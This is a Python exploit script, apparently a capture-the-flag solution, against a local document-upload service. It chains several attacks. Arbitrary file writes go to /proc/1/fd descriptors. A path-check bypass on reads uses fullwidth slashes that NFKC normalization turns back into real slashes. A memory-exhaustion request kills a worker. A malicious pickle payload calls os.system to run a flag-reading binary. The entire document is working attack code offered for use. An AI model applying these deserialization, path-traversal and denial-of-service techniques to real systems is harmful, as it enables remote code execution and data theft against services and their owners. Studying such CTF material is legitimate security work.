import asyncio
import httpx
import urllib.parse
import os
import pickle
import concurrent.futures
import requests

BASE_URL = "http://localhost:8000"

def write_file(target_path: str, content: str, verbose: bool = False) -> str:
    url = f"{BASE_URL}/api/docs"
    files = {
        'file': (target_path, content.encode('utf-8'), 'text/plain')
    }
    if verbose: 
        print(f"[*] Attempting to write to {target_path}...")
    try:
        response = requests.post(url, files=files)
        if response.status_code == 200:
            doc_id = response.json().get('doc_id')
            if verbose:
                print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
            return doc_id
        else:
            if verbose:
                print(f"[-] Failed to write. Status: {response.status_code}")
                print(f"[-] Response: {response.text}")
            return None
    except requests.exceptions.RequestException as e:
        if verbose:
            print(f"[-] Connection error: {e}")
        return None

async def async_worker(client, url, files):
    while True:
        try:
            await client.post(url, files=files)
        except Exception:
            continue

async def spray_fd_async(target_fds, payload, workers_per_fd=20):
    url = f"{BASE_URL}/api/docs"
    limits = httpx.Limits(max_keepalive_connections=100, max_connections=200)
    
    async with httpx.AsyncClient(limits=limits, timeout=None) as client:
        tasks = []
        for fd in target_fds:
            print(f"[*] Starting {workers_per_fd} workers for fd {fd}")
            files = {'file': (f"/proc/1/fd/{fd}", payload, 'text/plain')}
            for _ in range(workers_per_fd):
                tasks.append(async_worker(client, url, files))
        
        await asyncio.gather(*tasks)

def read_file(target_path: str, verbose: bool = False) -> str:
    nfkc_path = target_path.replace('/', '\uFF0F')
    encoded_path = urllib.parse.quote(nfkc_path)
    url = f"{BASE_URL}/api/docs/{encoded_path}"
    if verbose: 
        print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
    try:
        response = requests.get(url)
        if response.status_code == 200:
            if verbose:
                print(f"[+] Success! Read {len(response.text)} bytes.")
            return response.text
        return None
    except requests.exceptions.RequestException:
        return None

def kill_worker():
    with open("./emojis.txt", "r") as f:
        garbage_payload = f.read()
    print("[*] Killing worker with OOM...")
    write_file("/docs/oom.txt", garbage_payload) 

def exploit():
    class Exploit:
        def __reduce__(self):
            return (os.system, ("/readflag > /docs/flag.txt",))
    
    payload = Exploit()
    ascii_pickle = pickle.dumps(payload, protocol=0)
    fd_list = range(11, 18)

    with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
        executor.submit(kill_worker)
        
        try:
            print("[*] Launching async FD spray...")
            asyncio.run(spray_fd_async(fd_list, ascii_pickle))
        except KeyboardInterrupt:
            print("\n[*] Spray stopped. Checking for flag...")

    return read_file("/docs/flag.txt", verbose=True)

if __name__ == "__main__":
    print(exploit())